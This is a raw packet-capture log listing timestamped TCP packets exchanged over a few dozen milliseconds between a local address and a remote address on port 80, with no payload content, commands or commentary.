Nov 1, 2024 10:57:10.818286896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818288088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818296909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818300962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818311930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818327904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818337917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818351984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818392992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818403006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818413019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818433046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818451881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818480015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818489075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818499088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818509102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818520069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818528891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818531036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818552017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818571091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818608999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818618059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818628073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818638086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818638086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818649054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818650007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818670034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818676949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818732023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818746090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818757057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818766117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818777084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818785906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818809032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818886042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818896055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818905115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818916082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818926096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.818932056 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818943977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.818964958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.819004059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.819015026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.819024086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.819036007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.819046021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.819048882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.819081068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.819081068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.819118977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.819129944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.819139004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.819150925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.819161892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.819188118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.819960117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.819978952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.819987059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820019960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820076942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820086956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820096970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820116043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820142031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820166111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820175886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820204973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820220947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820260048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820344925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820353985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820363998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820372105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820380926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820384979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820400000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820424080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820593119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820627928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820631981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820642948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820671082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820698023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820708036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820717096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820727110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820734024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820735931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820758104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820761919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820772886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820781946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820781946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820806980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820813894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820822954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820825100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820841074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820851088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820854902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820878983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820902109 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.820949078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820960045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820969105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820980072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820991039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.820991039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.821016073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.821026087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.821026087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.821086884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.821096897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.821105957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.821115971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.821125984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.821132898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.821135998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.821146011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.821156025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.821167946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.821186066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.821194887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.821822882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.838893890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.838936090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.838948011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.838988066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839011908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839023113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839032888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839040041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839068890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839095116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839127064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839138031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839154005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839163065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839171886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839190960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839200974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839402914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839413881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839425087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839449883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839478970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839500904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839512110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839520931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839548111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839556932 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839565039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839601040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839612007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839623928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839636087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839641094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839668036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839693069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839828014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839838982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839848995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839871883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839899063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839907885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839920044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839930058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839941978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.839953899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.839986086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.840626001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840671062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.840734005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840748072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840758085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840768099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840776920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.840785027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840795994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.840797901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840810061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840818882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.840820074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840832949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840837002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.840842962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840862989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.840864897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840884924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.840898991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.840917110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840928078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840936899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840948105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840959072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840962887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.840971947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.840995073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841006041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841022968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841033936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841042995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841061115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841065884 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841078997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841082096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841106892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841120958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841140985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841151953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841161013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841171026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841177940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841182947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841207981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841233969 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841253996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841264963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841270924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841278076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841305971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841327906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841327906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841340065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841382980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841442108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841453075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841459990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841470003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841479063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841483116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841490030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841500998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841501951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841511011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.841511965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.841542959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843368053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843378067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843388081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843431950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843451977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843452930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843465090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843476057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843487024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843498945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843509912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843538046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843601942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843611956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843621016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843631029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843640089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843643904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843651056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843652964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843662977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843673944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843676090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843700886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843724012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843743086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843753099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843761921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843771935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843777895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843781948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843792915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843792915 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843803883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843807936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843818903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843830109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843836069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843839884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843857050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843878984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843894005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843903065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843909025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843909025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843951941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.843965054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843976021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843985081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.843995094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844006062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844016075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844041109 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844085932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844095945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844110012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844120026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844125032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844129086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844141006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844149113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844153881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844153881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844161987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844172001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844180107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844182968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844196081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844213963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844221115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844224930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844286919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844358921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844368935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844377041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844387054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844396114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844403028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844413996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844413996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844424963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844433069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844434977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844448090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844464064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844475985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844476938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844489098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844504118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844527006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844585896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844600916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844609022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844620943 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844630003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844630957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844640970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844651937 CET	80	49820	31.41.244.11	192.168.2.4
